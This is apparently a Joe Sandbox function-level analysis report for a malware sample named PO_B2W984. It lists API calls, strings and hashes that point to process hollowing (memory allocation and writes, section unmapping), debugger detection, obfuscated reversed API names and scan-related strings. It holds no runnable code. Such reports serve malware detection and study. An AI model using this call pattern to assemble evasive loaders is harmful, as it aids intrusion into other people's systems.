String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: ee7607092efe533ddd65ca06b9ea4751511744a845a9465abb73291508ef6690
Instruction ID: b8f6a589c080914d467d6a152926a15046ed2235939d4c2d54adbd65b181e7d9
Opcode Fuzzy Hash: ee7607092efe533ddd65ca06b9ea4751511744a845a9465abb73291508ef6690
Instruction Fuzzy Hash: B2F0A73490464CAEDF12B6E8D8887DCFBA99B09338F6807D4D426712C1E7711A44C6A1

Function 02DEDBA8 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02DD4ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02DD4EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02DEDC78), ref: 02DEDBE3
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02DEDC78), ref: 02DEDC13
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02DEDC28
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02DEDC54
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02DEDC5D

Part of subcall function 02DD4C0C: SysFreeString.OLEAUT32(02DEE948), ref: 02DD4C1A

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: 85cf5070ae57d72509bd3c2c9cd65ae3664227fdf03765c0a2b006a876ddb3ad
Instruction ID: 55af4c426cc1516219d1b6ec26aec5ec8d6b6f95adc8b5d9c4037f7d0ffb7b34
Opcode Fuzzy Hash: 85cf5070ae57d72509bd3c2c9cd65ae3664227fdf03765c0a2b006a876ddb3ad
Instruction Fuzzy Hash: 6021D371A407087AEB11EAE4CC46FDE77BDEB08704F500461B605F72D0DAB4AE459B75

Function 02DEE2F0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02DEE42E

Strings

Initialize, xrefs: 02DEE31E
ScanBuffer, xrefs: 02DEE377
OpenSession, xrefs: 02DEE3D0

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 79c9513c6019be1243a738b9a3eddf50d0ecc0696bf3d76d7dc9e1bec946c52e
Instruction ID: a5b30a79dfb73c2906f2c72a587b6824160ba2e84cb30f265b0ac2b1449aaf60
Opcode Fuzzy Hash: 79c9513c6019be1243a738b9a3eddf50d0ecc0696bf3d76d7dc9e1bec946c52e
Instruction Fuzzy Hash: 28411A35A50558ABEF11FBA4D881ADEB3FAEF48720F218426E042A7354DA74ED058F74

Function 02DEDAC4 Relevance: 6.1, APIs: 4, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02DD4ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02DD4EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02DEDB96), ref: 02DEDB03
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02DEDB3D
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02DEDB6A
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02DEDB73

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: 90c7b7a963e013973bec3a57487a7d7ef1d44b45e6bb2f7800f8b9a5a43a8570
Instruction ID: 8db06daaaa01c2f3cb804d385f00ea11882a6e79082ec748a6fd90ede7ab91ac
Opcode Fuzzy Hash: 90c7b7a963e013973bec3a57487a7d7ef1d44b45e6bb2f7800f8b9a5a43a8570
Instruction Fuzzy Hash: D621ED71E40708BAEB20EAE4CD46F9EB7BDEB04B04F504461B605F72D0DBB06E048A65

Function 02DE85D4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62processCOMMON

Download Yara Rule

APIs

Part of subcall function 02DE8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02DE8088,?,?,00000000,?,02DE79FE,ntdll,00000000,00000000,02DE7A43,?,?,00000000), ref: 02DE8056
Part of subcall function 02DE8018: GetModuleHandleA.KERNELBASE(?), ref: 02DE806A

Part of subcall function 02DE80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02DE8148,?,?,00000000,00000000,?,02DE8061,00000000,KernelBASE,00000000,00000000,02DE8088), ref: 02DE810D
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DE8113
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(?,?), ref: 02DE8125

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02DE8660

Strings

CreateProcessAsUserW, xrefs: 02DE85ED
Kernel32, xrefs: 02DE861F

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: HandleModule$AddressProc$CreateProcessUser
String ID: CreateProcessAsUserW$Kernel32
API String ID: 3130163322-2353454454
Opcode ID: fb649763568dc983fb13f3ffbc2d510655c963c34de717000a7eaf662174e79f
Instruction ID: 8ca609075dba55c14c531e58cbf607d3f9777bc3c961749e001c6189e486a7e5
Opcode Fuzzy Hash: fb649763568dc983fb13f3ffbc2d510655c963c34de717000a7eaf662174e79f
Instruction Fuzzy Hash: 2B11D0B6680648AFEB40EEA8DD41F9A37EDEB0C710F524558BA09D7750C634ED109B74

Function 02DE79AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02DE8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02DE8088,?,?,00000000,?,02DE79FE,ntdll,00000000,00000000,02DE7A43,?,?,00000000), ref: 02DE8056
Part of subcall function 02DE8018: GetModuleHandleA.KERNELBASE(?), ref: 02DE806A

Part of subcall function 02DE80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02DE8148,?,?,00000000,00000000,?,02DE8061,00000000,KernelBASE,00000000,00000000,02DE8088), ref: 02DE810D
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DE8113
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(?,?), ref: 02DE8125

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02DE7A1F

Strings

ntdll, xrefs: 02DE79F4
yromeMlautriVetacollAwZ, xrefs: 02DE79C7

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: b7cccbac5ec1d6da9274104e022867323c17e0e4c724762bab84e4e0c1dbc841
Instruction ID: 9f8584056ef580e67d6ece8bfd643acabd6c76d74154acf02eac7eb60c0abecc
Opcode Fuzzy Hash: b7cccbac5ec1d6da9274104e022867323c17e0e4c724762bab84e4e0c1dbc841
Instruction Fuzzy Hash: B2112D75644208BFEF00EFA4DC41E9EB7ADEB48710F914464B909DB740DA30AE148B70

Function 02DE79AC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02DE8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02DE8088,?,?,00000000,?,02DE79FE,ntdll,00000000,00000000,02DE7A43,?,?,00000000), ref: 02DE8056
Part of subcall function 02DE8018: GetModuleHandleA.KERNELBASE(?), ref: 02DE806A

Part of subcall function 02DE80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02DE8148,?,?,00000000,00000000,?,02DE8061,00000000,KernelBASE,00000000,00000000,02DE8088), ref: 02DE810D
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DE8113
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(?,?), ref: 02DE8125

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02DE7A1F

Strings

ntdll, xrefs: 02DE79F4
yromeMlautriVetacollAwZ, xrefs: 02DE79C7

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: aaf2052aaad5a96af2c8941dcd61cc679e7df1093f2edd8e9e3404757fcd17c3
Instruction ID: 5d4511d4fc110432994e11a89754f6743fadb5d51cc02b2671eda57e83c7028c
Opcode Fuzzy Hash: aaf2052aaad5a96af2c8941dcd61cc679e7df1093f2edd8e9e3404757fcd17c3
Instruction Fuzzy Hash: 27112D75644208AFEF00EFA4DC41E9EB7ADEB48710F914464B909DB740DA30AE148B70

Function 02DE824C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02DE8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02DE8088,?,?,00000000,?,02DE79FE,ntdll,00000000,00000000,02DE7A43,?,?,00000000), ref: 02DE8056
Part of subcall function 02DE8018: GetModuleHandleA.KERNELBASE(?), ref: 02DE806A

Part of subcall function 02DE80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02DE8148,?,?,00000000,00000000,?,02DE8061,00000000,KernelBASE,00000000,00000000,02DE8088), ref: 02DE810D
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DE8113
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(?,?), ref: 02DE8125

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DE82BD

Strings

yromeMlautriVdaeRtN, xrefs: 02DE8267
ntdll, xrefs: 02DE8294

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 2521977463-737317276
Opcode ID: e14a8c9f8b368b9067e1ee76b737b6ffe8d91b3d7f19ad075078f116b58745ad
Instruction ID: c66a4c28de3fd4421c56dd77fd04eb0c24a35874da682b06699f374c70bd349c
Opcode Fuzzy Hash: e14a8c9f8b368b9067e1ee76b737b6ffe8d91b3d7f19ad075078f116b58745ad
Instruction Fuzzy Hash: 25016978640608AFEF00EFA8D841E9E77EEEB48700F528424F405DB710CA30AD149B64

Function 02DE7CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02DE8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02DE8088,?,?,00000000,?,02DE79FE,ntdll,00000000,00000000,02DE7A43,?,?,00000000), ref: 02DE8056
Part of subcall function 02DE8018: GetModuleHandleA.KERNELBASE(?), ref: 02DE806A

Part of subcall function 02DE80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02DE8148,?,?,00000000,00000000,?,02DE8061,00000000,KernelBASE,00000000,00000000,02DE8088), ref: 02DE810D
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DE8113
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(?,?), ref: 02DE8125

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DE7D6C

Strings

Ntdll, xrefs: 02DE7D43
yromeMlautriVetirW, xrefs: 02DE7D13

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: 95653c4fef91a0800ed5faa40b9d66debefc2cd3c0599d14c8bb117950a38de3
Instruction ID: abf7d8a52a5649551ab5f4ee6d81510a31584e13a170d75a4bc94863cea0d77d
Opcode Fuzzy Hash: 95653c4fef91a0800ed5faa40b9d66debefc2cd3c0599d14c8bb117950a38de3
Instruction Fuzzy Hash: D5012974640608AFEF41FF98D841EAEB7EDEB48710F524854B405D7780C630AD148B74

Function 02DE84BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02DE8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02DE8088,?,?,00000000,?,02DE79FE,ntdll,00000000,00000000,02DE7A43,?,?,00000000), ref: 02DE8056
Part of subcall function 02DE8018: GetModuleHandleA.KERNELBASE(?), ref: 02DE806A

Part of subcall function 02DE80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02DE8148,?,?,00000000,00000000,?,02DE8061,00000000,KernelBASE,00000000,00000000,02DE8088), ref: 02DE810D
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DE8113
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(?,?), ref: 02DE8125

NtUnmapViewOfSection.NTDLL(?,?), ref: 02DE8521

Strings

ntdll, xrefs: 02DE8504
noitceSfOweiVpamnUtN, xrefs: 02DE84D7

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: HandleModule$AddressProc$SectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 3503870465-2520021413
Opcode ID: 983a6c88d303dcdd81a896c0a8211f0bd770bb75e3178df84ae50b53a368a747
Instruction ID: 323392c159d3fe2828fcbbc0844673f1b47a710744ca3c309358d03ce875612c
Opcode Fuzzy Hash: 983a6c88d303dcdd81a896c0a8211f0bd770bb75e3178df84ae50b53a368a747
Instruction Fuzzy Hash: 81016774644608AFEF00FF65DC45E9E77AEEB49710F924854B406D7750DA30AD049F70

Function 02DED9E8 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,?), ref: 02DEDA64
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02DEDAB6), ref: 02DEDA7A
NtDeleteFile.NTDLL(?), ref: 02DEDA99

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Path$DeleteFileInitNameName_StringUnicode
String ID:
API String ID: 1459852867-0
Opcode ID: 1dc7d71760bf2b0dd8ee49774368b5c3ac817012f3a45ff4dd195317619408f1
Instruction ID: 5922adf724455695cd043a27d8d3dccda4e42c71c46961c15b224ba16626d046
Opcode Fuzzy Hash: 1dc7d71760bf2b0dd8ee49774368b5c3ac817012f3a45ff4dd195317619408f1
Instruction Fuzzy Hash: 2E014F7594C2486EEF05F6A08D41BCD77BEEB54704F5040929212E6281DE74AF088B31

Function 02DEDA3C Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02DD4ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02DD4EDA

RtlInitUnicodeString.NTDLL(?,?), ref: 02DEDA64
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02DEDAB6), ref: 02DEDA7A
NtDeleteFile.NTDLL(?), ref: 02DEDA99

Part of subcall function 02DD4C0C: SysFreeString.OLEAUT32(02DEE948), ref: 02DD4C1A

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 1694942484-0
Opcode ID: 88761190cb1d8fe2293db7536192b3530b5b12bd86a19e114d0ccaeb6836ecb2
Instruction ID: 07c1b713599c51f3feac1060fe7da9c7cff8209f5aa7236abcb4bee9f4ca6182
Opcode Fuzzy Hash: 88761190cb1d8fe2293db7536192b3530b5b12bd86a19e114d0ccaeb6836ecb2
Instruction Fuzzy Hash: 2401E171948608BADF11FAE4CD41FDEB7BEEB48700F504561A501E6280EB756F049E74

Function 02DE6D48 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 02DE6CEC: CLSIDFromProgID.OLE32(00000000,?,00000000,02DE6D39,?,?,?,00000000), ref: 02DE6D19

CoCreateInstance.OLE32(?,00000000,00000005,02DE6E2C,00000000,00000000,02DE6DAB,?,00000000,02DE6E1B), ref: 02DE6D97

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 326c53ecee0ec1b89c89a0b96be7270db5f6ef1d2c728986ea332e5ecc77bc9a
Instruction ID: f84df7951933eb4bc9a9f8f9138c427c6178fedd225825762687d20ebfcccc34
Opcode Fuzzy Hash: 326c53ecee0ec1b89c89a0b96be7270db5f6ef1d2c728986ea332e5ecc77bc9a
Instruction Fuzzy Hash: 2D01F231208B04AEEB15FF60EC2286FBBADE749B10F924835F502D2780E630DD04C8B0

Function 02DEEC6C Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535filesleepCOMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,02DFAF99,?,?,?,000002F7,00000000,00000000), ref: 02DEECA6

Part of subcall function 02DE881C: LoadLibraryA.KERNEL32(00000000,00000000,02DE8903), ref: 02DE8850
Part of subcall function 02DE881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02DE8903), ref: 02DE8860
Part of subcall function 02DE881C: GetProcAddress.KERNEL32(74BD0000,00000000), ref: 02DE8879
Part of subcall function 02DE881C: FreeLibrary.KERNEL32(74BD0000,00000000,02E31388,Function_000065D8,00000004,02E31398,02E31388,000186A3,00000040,02E3139C,74BD0000,00000000,00000000,00000000,00000000,02DE8903), ref: 02DE88E3

Part of subcall function 02DEEB8C: GetModuleHandleW.KERNEL32(KernelBase,?,02DEEF90,UacInitialize,02E3137C,02DFAFD0,UacScan,02E3137C,02DFAFD0,ScanBuffer,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,ScanString), ref: 02DEEB92
Part of subcall function 02DEEB8C: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02DEEBA4

Part of subcall function 02DEEBE8: GetModuleHandleW.KERNEL32(KernelBase), ref: 02DEEBF8
Part of subcall function 02DEEBE8: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02DEEC0A
Part of subcall function 02DEEBE8: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02DEEC21

Part of subcall function 02DD7E10: GetFileAttributesA.KERNEL32(00000000,?,02DEF8C4,ScanString,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,ScanString,02E3137C,02DFAFD0,UacScan,02E3137C,02DFAFD0,UacInitialize), ref: 02DD7E1B

Part of subcall function 02DDC2E4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02F258C8,?,02DEFBF6,ScanBuffer,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,ScanBuffer,02E3137C,02DFAFD0,OpenSession), ref: 02DDC2FB

Part of subcall function 02DEDBA8: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02DEDC78), ref: 02DEDBE3
Part of subcall function 02DEDBA8: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02DEDC78), ref: 02DEDC13
Part of subcall function 02DEDBA8: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02DEDC28
Part of subcall function 02DEDBA8: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02DEDC54
Part of subcall function 02DEDBA8: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02DEDC5D

Part of subcall function 02DD7E34: GetFileAttributesA.KERNEL32(00000000,?,02DF2A41,ScanString,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,ScanBuffer,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,Initialize), ref: 02DD7E3F

Part of subcall function 02DD7FC8: CreateDirectoryA.KERNEL32(00000000,00000000,?,02DF2BDF,OpenSession,02E3137C,02DFAFD0,ScanString,02E3137C,02DFAFD0,Initialize,02E3137C,02DFAFD0,ScanString,02E3137C,02DFAFD0), ref: 02DD7FD5

Part of subcall function 02DEDAC4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02DEDB96), ref: 02DEDB03
